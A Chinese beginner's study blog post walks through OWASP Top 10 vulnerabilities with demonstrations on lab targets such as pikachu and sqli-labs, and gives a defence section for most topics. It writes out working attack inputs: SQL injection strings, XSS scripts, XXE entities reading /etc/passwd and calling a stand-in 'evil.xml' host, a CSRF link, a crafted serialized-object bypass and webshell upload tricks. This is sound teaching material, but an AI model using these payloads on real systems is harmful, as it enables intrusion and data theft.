owasp top 10上的常见漏洞

        声明本篇文章仅用于学习交流!!!

        首先我只是一个刚学网安4个月的小菜鸡,这里是我总结的常见的owasp top 10漏洞,这里只是大概让和我一样刚学网安的同学有个大概的了解,如果有大佬愿意看我的文章,我也会十分感谢您对我的指导。如果有和我一样刚学的萌新也非常欢迎在评论区发表你自己的理解,我也会和你一起讨论学习,一起进步。

注入(Injection)

包括SQL注入、NoSQL注入、OS命令注入等,攻击者能够将恶意数据注入到应用程序中,执行未经授权的操作。

注入一般来说就是SQL注入,常见的SQL服务有mysql(默认端口3306)、microsfot sql server(1433)、postgresql(5432)、Oracle(1521)、Redis(6379)。

其实所谓的sql注入就是服务器没有对用户输入的参数进行严格的过滤,导致在执行sql语句时同时执行了黑客传入的代码。我们用最简单的sql-labs的第一关讲解就比较好理解了,先看网站可以看到我们可以传一个参数id的值给他。

网页直接返回了Dumb这个人的信息给我们,那很明显sql语句当然是根据用户传入的id值来判断用户想查询的是谁的信息了。接下来直接看源代码看他是咋写的。

假设我们直接令id的值为1' and 1=2 union select 1,database(),3--+这个时候大家可以看看传入后端的select语句是不是就变成了SELECT * FROM users WHERE id='1' and 1=2 union select 1,database(),3--+' LIMIT 0,1。

看看网站返回了什么信息给我们。

这....这不对吧怎么返回的和id为1的用户不同了呢。其实security是当前数据库所使用的数据库名,那我们就能发现哎这个select database()不就是获取当前数据库的数据名吗,所以程序执行了我们想要让他执行的代码。

在这里和大家说一声就是sql注入的具体实现和测试不是这么简单的,我在这里只是简单的谈一下我自己个人的理解,比如我讲了这么多,然后我告诉大家其实sql注入就是构造sql语句来获取数据库中的敏感信息(管理员的账号密码),那大家是不是就大概能理解一点了呢。至于你问我为什么这么构造注入语句,我的建议就是直接在csdn上找sql语句注入,有很多教程,并且也是需要大家练的,多刷一点关卡自然而然就明白了。

Sql注入的类型有

1、联合查询注入:就是union连接一条你想执行的sql语句。

2、布尔盲注:根据页面返回的正确或者错误来判断,通常可以看返回的长度来判断。ascii()、substr()、length()、exists()、concat()等函数。

3、时间盲注:当我们sql语句执行正确的值时设置延迟,查看网页返回的时间判断注入的结果。?id=1' and if(ascii(substr(database(),2,1))= 101,sleep(5),0) --+,其中sleep(5)是延时5s返回的意思。

4、报错注入:sql语句有误时程序可能会返回报错的内容,可以设置报错返回的内容来获取信息。常用函数extractvalue()函数、updatexml()函数。

预防方法

1、就是对用户输入的数据进行过滤,比如单引号,等号之类的。

2、转义,把用户的输入当成文本以及用斜杠来转义。

3、最后就是预编译,其中预编译是解决sql语句最好的方法。这里简单说一下,就是mysql在接收到sql语句时会先进行编译,就会把我们上述传入的sql语句SELECT * FROM users WHERE id='1' and 1=2 union select 1,database(),3--+' LIMIT 0,1当成两条语句来执行,但是进行预编译之后,可能就变成了SELECT * FROM users WHERE id='1 and 1=2 union select 1,database(),3--+' LIMIT 0,1,就是把输入id的值整个当成字符串进行sql执行。

跨站点脚本(XSS,Cross-Site Scripting)

攻击者能够将恶意脚本注入到网页,使其在用户浏览器上执行,从而盗取信息或执行操作。

原理:在访问一个网站时,我们的浏览器会自动执行网站上的脚本语句,无论这个脚本语句是否有危害性,XSS就是向网站注入一些有危害的脚本语句(大多数是JavaScript)从而获取当前网页保存的cookie、身份令牌等信息。例如你成功向网站中插入了一个代码<script>alert(1)<script>,此时不管是谁访问这个网页浏览器都会自动解析执行这个script语句,弹出1的弹框。

XXS主要分为三种类型,存储型、反射型、DOM型,其中存储型是危害最大的,要远大于其它两种类型(接下来会解释为什么)。

存储型:攻击者将恶意脚本代码存储在应用程序的数据库或文件系统中,然后当其他用户访问包含这些恶意代码的页面时,他们的浏览器会执行这些代码。这种类型的攻击可能导致数据泄露、会话劫持等问题。最常见的地方就是某网站的评论区、个人信息这些能够保存js语句的地方。

反射型:攻击者将恶意脚本代码包含在特殊的URL中,然后诱使受害者点击该URL。一旦用户点击链接,恶意代码就会从URL中注入到页面中,并在用户的浏览器上执行。这种攻击通常需要社会工程或欺诈性手段来诱使用户点击链接。

DOM型:这种攻击不依赖于服务器的响应,而是利用客户端(用户浏览器)的漏洞。攻击者构造特定的URL或页面,使用户浏览器在解析页面时执行恶意脚本,从而实现攻击目的。

其中反射型和DOM型攻击最主要的区别在于反射型XSS依赖于服务器将脚本信息反射回web页面上,而DOM型XSS则是依赖于客户端的安全漏洞不经过服务器这个环节。

接下来使用pikachu(漏洞靶场)来演示。

这是反射型xss示例。

向输入框中输入<script>alert(1)</script>。

???嗯?,这个框也太短了吧,而我的这个却很长所以根本插不进去。别慌这其实也是一个XSS的简单绕过方法,一般这种在框框里限制长度的都只是前端验证。我们右键选择检查,选择这个框框将长度更改。原本是20的我给改成了1000。

再输入可以看到长度够了。

回车一下,成功弹出弹框1。

此时我们注意看上面的URL其实可以知道这是一个get类型,啥意思,就是我们不一定非得要在框框中输入嘛,也可以在URL这里令message的值为我们的js语句也是可以执行的,那复制一下url换个浏览器(相当于受害者的浏览器打开)看看能不能成功。可以看到成功的。

此时我们再次回到弹出弹框后的网站,发现哎不弹了,这就是反射型XSS,必须得是特定构造好的URL才能返回,那我们接下来看比较厉害的存储型XSS。

在评论区输入<script>alert(1)</script>。

提交,好的出现了弹框。

此时我们离开这个页面然后再返回这个页面,哎又出现了弹窗。

此时我用另一个浏览器去登录pikachu,注意这是和反射型不一样的地方,刚刚我们是要使用特定的URL访问的,但是这一次不需要,这一次就相当于一个正常的用户去看一条评论区的评论而已,但是神奇的事情发生了又再一次出现了弹窗。也就是说只要这条评论不被删除,那么任何访问这个网页的用户都会触发我们的XSS攻击。

最后一个就是DOM型XSS。老规矩,看到框咋就先插一下,反正又不亏。

哎出现了一个网站点一下。

嗯多试几个我们就会发现当你向框框中输入一个值那么这个值就会和http://127.0.0.1/pikachu/vul/xss/拼接成为一个URL。那这个怎么利用呢,好吧有些人不爱读评论是吧,我们看看刚刚存储型XSS的URL是啥,http://127.0.0.1/pikachu/vul/xss/xss_stored.php,那好我在框里输入xss_stored.php那他不就跳转到有XSS攻击的页面了吗。

这样设计的好处是我们的攻击代码不会经过服务器,因为我们输入的是xss_stored.php,我只是想访问这个网页去看评论而已,当然服务器就检测不出来了。

事实上我们构造XSS攻击的最终目的就是获取对方用户的cookie,这个就需要大家继续深入学习了,除此之外还有waf的绕过这些都很重要,当然当你深入学习完之后可以去xss-labs上去好好练练手。加油鸭,少年郎。

预防:对于框框的输入进行严格的过滤,对输出的值进行编码使得js脚本失效。

无效的身份验证(Broken Authentication)

涵盖了身份验证和会话管理的问题,如弱密码、会话固定、不安全的“记住我”功能等。

无效的身份认证漏洞是指在一个系统、应用程序或服务中存在安全漏洞,使得攻击者能够绕过正常的身份验证机制,获取未经授权的访问或权限。这种漏洞可能会对系统的安全性和用户数据的保护构成重大威胁。

1、弱口令:这是比较常见的也是很容易被管理员忽略的一个漏洞,管理员设置用户名和密码时可能会用admin,admin或者默认的密码来设置,这就很容易被黑客利用进入到管理员后台。

2、窃取cookie,这不就是XSS攻击获取到的东西吗,正是如此,当我们登录一个网站的时候,你想想如果每一次访问都要登录输入账号密码一次是不是得烦死人,所以当你登录网站时服务器会向你发送一个随机的cookie并保存在浏览器中,这样每次访问验证cookie,哦我就知道是你在访问了,可是如果我们拿到了别人的cookie那我们是不是就能登录别人的账号了呀。至于session和token和cookie都差不多一个道理。

3、漏洞利用:系统中的其他漏洞,如代码注入漏洞、目录遍历漏洞或文件上传漏洞,可以用于绕过身份认证,以获取系统访问或特权。

4、会话劫持,攻击者通过某种方式获取了合法用户的会话标识(通常是会话ID或令牌),然后使用这个会话标识来冒充合法用户,访问其账户或执行操作。攻击者可能在用户与服务器之间插入自己的代理,以截取会话信息,然后将其传递给服务器,同时也可以传递伪造的请求。

防护手段

1、使用HTTPS来进行数据传输,加密传输的内容,防止中间人攻击。

2、管理员密码必须复杂,有必要时可以使用验证码进行登录。

3、使用安全的会话设定,例如在设置Cookie时,使用HttpOnly属性,设置Cookie的Expires或Max-Age属性来限制Cookie的生命周期,以及session、token这些都要及时刷新。

敏感数据暴露(Sensitive Data Exposure)

涉及对敏感数据(如密码、信用卡号等)的不安全处理,导致数据泄露。

敏感数据泄露以我的理解就是本不应该让用户知道的信息因为没有做好权限设置、过滤处理等原因而导致了用户可以去访问我们服务器上的一些敏感的数据文件。

那么什么是敏感的数据呢?举个栗子,有些程序员为了贪图方便,将用户的账号和密码放到了前端进行验证,这很可能就会导致html、css、js中包含一些敏感信息,一些接口甚至账号密码。还有就是因为没有合理设置文件读取的权限,就很有可能导致一些敏感的文件(比如网站的备份源代码)被黑客获取。

接下来用pikachu的一个例子来讲解一下。

哦?是一个登录窗口,然后栗子的名字还叫做icanseeyourABC,那么你觉得他最有可能是我们上面提到的什么情况呢,管他呢先猜一下,我猜是前端就有他的账号密码信息,右键检查一下。

可以看到居然有一个测试账号在那里,广快试一下。发现登录成功了注意看url返回的就是abc.php。

感觉讲完这个栗子还是有点意犹未尽呐,那就再来一个吧,敏感文件读取。在通常的网站中,其实有些程序员喜欢将网站的源代码打包压缩成一个文件然后保存在网站目录里面,如果没有设置相应的权限就很容易被黑客发现然后下载。

好吧写到这里我突然觉得用本地上的靶场还是有点不太好,我还是开个虚拟鸡吧。

说出来你们不信,我打开虚拟机之后发现我的win7电脑密码忘了,我吐了,然后我找了几个小时发现刚好有一个win7的粘滞键漏洞,成功找回了密码。

打开我们的网站目录我在网站目录中打包了一个名为test.zip的压缩包,它是这个网站的源代码压缩包。

好我们尝试访问这个网站。

那我们尝试访问这个zip文件看看会发生什么。

哦居然能够下载,广快下载来看看里面有什么。

解压之后去翻一下它的配置文件。

看看这是啥,数据库的账号和密码。

但是别高兴得太早root账户一般不支持外连,拿到也没啥卵用,但是像这种能把源代码下载下来是很危险的,我们不仅可以分析他的配置文件,事实上我们还可以从整个网站的代码身上找漏洞了。

预防方法:

1、实施强有力的访问控制策略,确保只有经过授权的用户或系统能够访问敏感数据。这可以通过角色基础的权限控制来实现。

2、对于存储在数据库、磁盘上或在传输过程中的敏感数据,使用强加密算法来加密它们,以确保即使数据被盗,也无法轻易解密。

3、建立实时监控和审计机制,以便检测潜在的数据泄露或不正常活动,以及跟踪已发生的事件。

XML外部实体(XML External Entities,XXE)注入

攻击者能够利用XML处理漏洞来访问外部实体,可能导致信息泄露或服务器端请求伪造。

首先来认识什么是XML。

XML (可扩展标记语言) 是一种用于存储和传输数据的标记语言。您可以这么理解,超文本标记语言(HTML)可以将用户需要的数据显示在web网页上,而负责存储和传输这些数据的时候我们则可以选择XML去完成。

XML具有以下特点:

1、可扩展性:XML允许用户定义自己的标记,以适应特定数据的结构和需求。

2、层次结构:XML数据以树状结构组织,由嵌套的元素构成。每个元素可以包含文本数据或其他元素。

3、标签:XML使用尖括号< >包围元素的标签,如 <book> 或 <name>。这些标签用于标识数据的类型和结构。

4、属性:元素可以具有属性,属性提供有关元素的附加信息。属性通常以键值对的形式出现,如 <person age="30"> 中的 "age" 属性。

5、文本和CDATA:XML既可以包含结构化数据(作为元素和属性),也可以包含非结构化文本数据。CDATA(不转义的字符数据)用于包含特殊字符,如 < 或 &,而不解释它们为标签。

6、命名空间:XML支持命名空间,允许不同源或标准的数据在同一个文档中协同存在,以避免命名冲突。

与HTML不同,XML能自定义标签语言。来看一下它的大致结构。

我把它插入到了一个html文档中,打开这个html文档看看效果。

这里着重注意文档类型定义这部分,这是产生xxe漏洞的关键。

漏洞产生原因:在XML中,实体是一个存储的数据块,可以通过名字来引用。但XML规范也允许定义自己的实体,甚至从外部源加载实体。攻击者利用XML规范中允许的外部实体引用功能来执行我们的恶意代码。

事实上就是在第二部分文档类型定义这部分,在定义这些实体时我们可以从外部加载自己的实体,例如以下代码。

在XML进行解析时,他会把实体&ext;展开这样就执行了file:///etc/passwd文件,这是linux系统上的一个敏感文件,如果此时我们可以通过抓包来更改这个路径,我们也许就能读取任意文件。

遇到XML相关的交互过程,以如下步骤判断是否存在漏洞:

(1)检测XML是否会被解析:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE ANY [

<!ENTITY shit  "this is shit">

]>

<root>&shit;</root>

如果$shit;变成了”this is shit”,那就继续第二步。

(2)检测服务器是否支持外部实体:

<?xml version="1.0"  encoding="UTF-8"?>

<!DOCTYPE ANY [

<!ENTITY % shit SYSTEM "http://youhost/evil.xml">

%shit;

]>

通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求evil.xml的HTTP request。

(3)如果上面两步都支持,那么就看能否回显。如果能回显,就可以直接使用外部实体的方式进行攻击。当然有时候服务器会不支持一般实体的引用,也就是在DTD之外无法引用实体,如果这样的话,只能使用Blind XXE攻击。

(4)如果不能回显,毫无疑问,使用Blind XXE攻击方法。

来吧打开虚拟机用pikachu靶场试一下。

随便输入点什么抓下包。

好吧他说我没搞懂,抓包的结果在下面。

可以看到这里好像和xml有关哦,那我们试一下刚刚我说的步骤方法有没有用吧。首先是检测XML是否会被解析。

好像不行,别急我们把上面post的内容url编码一下。

成功了证明XML是会被解析的。直接来查看看一下能不能查看系统内容。

看来是可以,当然这个xxe漏洞不仅仅是能够看系统文件信息的,他还可以执行内部端口扫描、执行远程代码等。

预防方法:直接禁用XML的外部实体引用,事实上现在大多数的网站都是已经默认禁用XML的外部实体引用了。

无效的访问控制(Broken Access Control)

指应用程序未正确实施访问控制,允许攻击者访问未经授权的资源。

原理:失效的访问控制漏洞指的是系统未能正确实施权限控制机制,允许攻击者绕过权限限制,访问或执行某些资源或操作。这种漏洞通常由于权限验证机制的错误、缺陷或不正确配置所致。其中失效的访问控制也可以叫做我们常常说的越权,水平越权和垂直越权。

水平越权:获取同等级的其它用户权限。例如你是用户A通过更改自己的个人信息抓到一个数据包后,对这个数据包稍作修改居然能更改用户B的信息。

垂直越权:获取更高等级的用户权限。例如管理员和普通用户都有一个添加管理员的按钮,但是普通用户点击网站会提示你没有权限,这个时候如果能找到数据包的规律就可能做到添加管理员的操作。

顺便说一句,网站数据包中如果存在有一些类似用户编号、用户组编号或者类型编号时可以尝试更改是越权的基本。

打开虚拟机,使用靶场试一下。先看水平越权。

这里我分别用本机和虚拟机登录了两个用户lucy和lili,接下来就是通过分析lucy能执行的操作看有没有办法去控制lili。

登录之后点击查看个人信息得到以下信息,并抓取到了请求数据包。

注意下这三个地方,一般来说服务器要验证你是谁就基本上根据这三个地方判断,那我们尝试修改将lucy改为lili看看能不能在响应包中找到lili的相关信息。

成功返回lili的信息,甚至cookie都不用理说明压根就没有验证。

接下来是垂直越权。

登录我本机登陆的是一个pikachu用户,只能查看后台,而虚拟机登录的是admin管理员用户,可以添加删除等操作。

我的目标就是用pikachu用户也能对后台进行添加用户。

好的假设我通过窃听抓到了管理员添加abc用户的数据包。

用普通用户看看发现确实添加了一个用户。

然后回到admin的界面我们选择删除这个新用户,然后回到我们本机(我们本机当前登录的是pikachu用户)。把我们刚刚抓的包发送一下,发现好像失败了。

响应包一片空白并且尝试刷新好像也没有出现abc用户。

看看数据包好像有一个cookie可以更改,因为我们现在登录的是pikahcu用户,所以有可能时要使用现在产生的cookie去执行操作。

右键检查找到cookie值。

有页面返回啦。

刷新一下,可以看到abc用户了。

安全配置错误(Security Misconfiguration)

包括默认配置、不安全的默认设置、错误的权限等,可能导致安全漏洞。

安全配置错误漏洞是指在应用程序、操作系统、或其他软件中存在配置设置不当或不安全的情况,这可能会导致潜在的安全风险和漏洞。

以下是我去官网找的一些解释。

可能产生的原因:

1、应用程序堆栈的任何部分缺少适当的安全强化,或者云服务的权限配置不当。

2、启用或安装了不必要的功能(例如,不必要的端口、服务、页面、帐户或权限)。

3、默认帐户及其密码仍然启用且未更改。

4、错误处理向用户显示堆栈跟踪或其他信息过多的错误消息。

5、对于升级的系统,最新的安全功能被禁用或未安全配置。

6、应用程序服务器、应用程序框架(例如Struts、Spring、ASP.NET)、库、数据库等中的安全设置未设置为安全值。

7、服务器不发送安全标头或指令,或者它们未设置为安全值。

8、该软件已过时或易受攻击。

在搭建网站的过程中,使用到的一些工具和框架、组件,例如比较多的Nginx、Apache、LLS、Tomcat这些设置了不安全的配置时,就有可能引发一些高危漏洞。

例如phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。如果没有对这个接口更改默认密码也就是上面提到的第三种情况,用默认密码就很容易登录到我们的数据库。

这里用户名是root,密码是root。

成功登录进去了。

跨站请求伪造(Cross-Site Request Forgery,CSRF)

攻击者能够欺骗用户执行未经授权的操作,通过伪造合法用户的请求。

简单来说就是攻击者构造了一个请求(大部分情况下是一个网站链接)然后诱使用户点击了这个链接而向服务器申请执行这个请求。为什么可以做到一点就能执行呢,比如你想要删除一个邮箱信息,其实网站一般会有一个特定的URL在访问这个URL时服务器就会认为你想要执行删除操作,而有些服务器的验证方法只是单纯的验证cookie是否正确,这就导致了只要你登录了这个网站获得了一个cookie,然后点击跳转到这个URL时就必然会触发删除操作。我们用pikachu中的一个例子说明。

本机登录一个vince账户,密码是123456。

修改一下个人信息把性别改成gay。

抓包可以看到在这里浏览器发送了一个get请求修改个人信息。

我们让虚拟机的用户点击这个url看能不能更改个人信息。

发现弹出的是登录页面,因为虚拟机的用户还没有登录也就改不了信息了嘛,那我们登录lili这个账户。

好假设我们诱使lili这个人点击了我们的链接http://192.168.168.132/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=gay&phonenum=18626545453&add=chain&email=vince%40pikachu.com&submit=submit

那么她的性别会改变吗。

可以看到lili成功被我们变成gay了。

想像一下假设这是一段更改密码的url,get请求中一个就是通过一个参数pass来指定更改的密码,那我们是不是可以对这个pass取我们自己想要的密码然后让对方点击我们的url这样我们不就修改了别人的密码了嘛。

预防方法:

1、使用 CSRF Token:在表单中包含一个随机生成的令牌(CSRF Token),并将其嵌入到表单中。服务器会验证请求是否包含有效的令牌,从而确保请求是合法的。这种方法有效地防止了跨站请求伪造攻击。

2、检查 Referer 头:服务器可以验证请求的 Referer 头,确保请求是从期望的来源发起的。然而,这并不是绝对可靠,因为 Referer 头并非总是可用。

3、使用双重提交 Cookie:将 CSRF Token 存储在 Cookie 中,并将其与表单数据一起提交。服务器在接收到请求时,验证 Cookie 中的 Token 是否与表单数据中的一致。

4、最简单有效的方法,设置验证码。特别是更改密码这种操作,只需要添加一个条件更改密码的同时输入验证原密码。

使用具有已知漏洞的组件(Using Components with Known Vulnerabilities)

应用程序使用过时或已知有漏洞的软件组件,容易受到攻击。

使用了具有已知漏洞的组件或者已经过时的组件。由于过时的组件不再被维护,会被发现越来越多的安全漏洞但是漏洞也不会再被修复,就会带来极大的安全隐患。当然,这里的组件不是狭义的组件,可以指代码里面引用的三方库、应用程序、操作系统、数据库、服务器、Linux 内核等等。另外组件在保持最新但是安全配置错误的情况下,也是易受攻击的组件。

一个网站上往往会使用各种组件,有时更复杂的网站会使用的组件更多,例如Apache、Nginx、IIS、Struts 2这些都是爆出过很多高危漏洞的组件,而有些网站的管理人员为了省事不打补丁、不更新程序只是稍微添加了一些过滤条件,这个时候就很容易被黑客利用。

例如 Apache官方发布Struts 2 紧急漏洞远程代码执行漏洞CVE-2017-5638(s2-046、s2-045),我在春秋云镜这个靶场给大家演示一下。

直接使用工具扫描目标靶场。一般像Struts2的漏洞会有人专门做一个漏扫和利用的工具,直接使用就可以了。

我们现在执行一下whoami命令。

遍历一下当前目录。

查找flag值这个就是我们要的信息。

防护

1、删除未使用的依赖项、不必要的功能、组件、文件和文档。

2、尽快对官方发布的漏洞打上补丁或者更新版本。

3、仅通过安全链接从官方来源获取组件。首选签名包,以减少包含修改后的恶意组件的机会。

不安全的反序列化(Insufficient Logging & Monitoring)

应用程序未足够记录和监控安全事件,导致攻击检测和响应不足。

学过java、python的同学都知道,就算没学过应该也听说过面向对象的编程,也就是类和对象。我主要讲php的反序列化。

对于学习安全的同学也不用过于深究,你可以暂且先把它理解为一个结构体(当然区别很大),但是类里面不仅可以定义数据,还可以定义一些魔术方法,其实你也可以理解为函数。而序列化就是将对象转化为字符串,反序列化则相反。将对象序列化之后有利于数据的保存和传输,也可以让多个文件共享这个对象。

以下是将一个对象序列化后的例子。

来认识一些魔法函数。当然其实有很多不一一列举辽。

__wakeup() //执行unserialize()时,先会调用这个函数

__sleep() //执行serialize()时,先会调用这个函数

__destruct() //对象被销毁时触发

__construct()//这个函数在php创建对象的时候会自动调用

那么根据这些函数的特性,大家看看接下来这个代码运行完之后会输出什么。

先自己猜一下答案再看。

第一次销毁了$b,第二次销毁了$test。

看一个攻防世界中一个简单的例子。

这道题目直接给出了源代码。

根据这个代码我们解题的步骤就是首先,我们得序列化一个Demo对象让他的变量file的值为fl4g.php,然后进行base64编码通过var变量传给它,来试一下。

这就获得了我们序列化的内容,把它拿去base64编码。

令我们的get参数值为

Tzo0OiJEZW1vIjoxOntzOjEwOiJEZW1vZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==。

返回了stop hacking这是我们第一个需要绕过的地方。

看源代码我们可以知道就是我们的O:4:这一部分被检测到了。

将4变为正4也就是+4看看行不行。

可以看到页面还是index.php的页面,所以可以知道我们是绕过正则表达式了,但是还有一个地方需要绕过,也就是源代码中__wakeup()函数这个地方。

在这里我们需要用一个__wakeup()函数的一个特点,如果序列化后的字符串中表示属性个数的数字与真实属性个数一致,那么就调用__wakeup()函数,如果该数字大于真实属性个数,就会绕过__wakeup()函数。

我们将属性个数改为2试试看。

发现一直返回的是index.php页面。

后面我发现这里两个编码的时候会有两个很奇怪的编号。

所以我决定直接在php代码中完成过滤的目的看能否成功。

将得到的base64编码拿去尝试。

成功了!还真是那两个方框的问题(太狗了)。

预防:

1、对反序列化数据进行严格的输入验证:在反序列化之前,应该对数据进行严格的输入验证,包括数据类型、长度、格式等等。

2、使用安全的序列化库:使用安全的序列化库可以减少反序列化漏洞的风险。例如,Java中的ObjectInputStream类可以使用白名单来限制反序列化的类。

3、对反序列化数据进行加密:对反序列化数据进行加密可以增加攻击者的难度,使攻击更加困难。

SSRF(Server-Side Request Forgery,服务端请求伪造)

是一种常见的安全漏洞,攻击者可以利用它来发起网络攻击,例如访问内部系统、执行命令等等。

其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。例如一般我们所能访问到的都是处于公网的服务器,而内网的服务器我们是没有办法访问的,但是如果公网的服务器在提供服务时需要在内网的服务器访问某些数据,这个时候我们如果能够构造恶意语句就可能访问到内网服务器的敏感信息或执行敏感操作,过程如下。

攻击者构造恶意的请求-----》web网站收到请求后向服务器获取数据-------》内网服务器收到请求传输敏感数据。

一般来说对于web网站上的服务器当然是可以值得信任的,所以如果网站没有对用户构造的数据包进行过滤和验证就很有可能存在SSRF。

用靶场pikachu中的SSRF(curl)来做漏洞实验。

在这个网站中它使用了curl这个函数,那么它的功能是什么我们来实验一下。

可以看到它跳转到了一个新的页面并且出现了一个get参数,那我们可以大胆猜测这个curl就是访问我们输入的url参数的地址并返回到当前页面上。那我们尝试访问一下目标服务器的敏感文件。

可以明显看到网页返回了win.ini这个敏感文件的内容。

文件上传漏洞

就是服务器提供了用户上传文件的功能但是没有对用户上传的文件进行过滤。例如大多数app都有头像上传的功能,一般来说头像当然是图片的格式上传,但是如果过滤不严就可以上传我们的一句话木马文件,使用连接工具连接后获得目标服务器控制权。

一般来说文件上传漏洞是非常危险的,所以一定要经过严格的过滤。有些游戏甚至会对上传的头像进行审核(当然啦也有可能是审核你有没有搞黄色)。

文件上传漏洞还是很好理解的,这里主要说一些常用的绕过技巧。

1、上传一句话木马时用的是.jpg文件,拦截数据包将后缀改为.php文件。

2、在.php后面加上.  .  .  .的形式进行绕过检测。

3、修改数据包中的Content Type属性。

4、双写和大小写混合例如pPhpHp。

5、还有内容的绕过,修改前几个字符,对恶意的一些函数进行字符化或加密处理。

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值